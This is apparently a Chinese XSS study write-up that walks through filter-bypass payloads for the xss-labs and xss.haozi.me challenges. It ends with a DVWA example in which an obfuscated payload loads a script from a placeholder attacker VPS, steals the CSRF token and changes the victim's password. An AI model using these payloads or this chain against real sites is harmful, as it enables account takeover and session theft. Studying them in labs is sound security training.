总字符数: 6.40K

代码: 1.47K, 文本: 1.46K

预计阅读时间: 13 分钟

XSS攻击方式与实例

XSS盗取用户信息

XSS盗取Cookie

XSS钓鱼攻击

XSS蠕虫攻击

XSS蠕虫的破坏力和影响力都是巨大的.XSS蠕虫主要发生在您户之间存在交互行为的页面中,当Web应用
程序对用户输入的数据信息没有做严格的过滤时,通过结合2v的吴步提交 ,就可以实现在植入恶意代码的同时
将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫

语法逃逸

当我们发现我们的xss标签被嵌入到属性里的时候,我们就需要想办法把这个标签闭合掉

Palyload:"><script>alert(1)</script><"

现在我们就成功的将属性给闭合掉了

‘逃逸出转义后的属性

我们发现用上一关的闭合方法并没有把他当成JS代码

我们查看一下php代码

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体

HTML实体:HTML为了防止特殊符号,如 “<”等,html当成标签

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)

payload:' onclick ='javascript:alert(1)'//

href属性绕过

我们发现onclick事件也被过滤了,那我们想办法换个标签,比如构造a标签试一下

payload:"></input><a href='javascript:alert(1)'>asd</a>

大小写绕过

Payload:1"><ScRipt>alert(1)</ScRipt>

双写绕过

Payload:"><scriscriptpt>alert(1)</scrscriptipt><

HTML实体编码绕过

payload:&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

hidden属性绕过

less10

HTML特性:当属性冲突时,则会从左往右覆盖

那么根据隐藏的input的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用

1
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

referer绕过

referer:" type='text' onclick='javascript:alert(1)'>//

UA绕过

同上

Cookie绕过

同上

XSS作业

0x00

0x01

0x02

属性 描述
oninput script 当元素获得用户输入时运行的脚本.

0x03

**过滤()**可以用反撇号绕过

0x04

过滤了()And`

payload:<img src=x onerror="alert&#40;1&#41;"></img>

0x05

这个--!>用闭合注释符--!><img src=x onerror="alert(1)"><!--

0x06

oninput ="alert(1)"将on和=用回车隔开

0x07

这个是过滤了所有以/<\/?[^>]开头>结尾的字符,所以最后面不加>就好了

0x08

这个是过滤了</style>标签导致无法闭合,所以用换行将它分开以绕过

1
2
</style
><input oninput="alert&#40;1&#41;">

0x09

这个限制了URL,后面按正常套路闭合就行了

1
https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">//

0x0A

这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了

1
https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换

1
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0x0C

这个是增加了script的过滤,不过显得有点多余

<img src="X" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

0X0D

这个是将输入内容带入到了注释中,可以用换行逃逸.由于过滤了单引号',所以后面的')可以用-->注释掉

1
2
3

alert(1);
-->

0x0E

此题是将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写

1
<ſcript src="https://xss.haozi.me/j.js" ></script>

0x0F

此题需要闭合前面的内容同时注释掉后面的');alert(1)//

0x10

这个跟sql注入里的堆叠注入是一个意思0;alert(1)

0x11

跟0x0F一样后面,后面可以用//注释掉也可以用("闭合掉");alert(1);//

0X12

由于"被替换成了\\,所以要用\进行转义\");alert(1);//

XSS (Reflected)配合CSRF跨域

vps中存放1.js

1
2
3
4
5
6
ifr = document.createElement('iframe');
ifr.src = "/DVWA/vulnerabilities/csrf/";
ifr.hidden = 1;
document.body.appendChild(ifr);
setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000);
<svg/onload=i=document.createElement('script');i.src='http://YOUR-VPS-IP/1.js';document.body.appendChild(i);>

由于hidh等级采用了正则过滤,所以我们要实体编码部分字段

1
<svg/onload=i=document.createElement('\u0073\u0063\u0072\u0069\u0070\u0074');i.src='\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0059\u004f\u0055\u0052\u002d\u0056\u0050\u0053\u002d\u0049\u0050\u002f\u0031\u002e\u006a\u0073';document.body.appendChild(i);>

默认密码为pssword

将准备好的payload复制到输入框内:

退出后使用默认密码登录失败

使用密码:123登录成功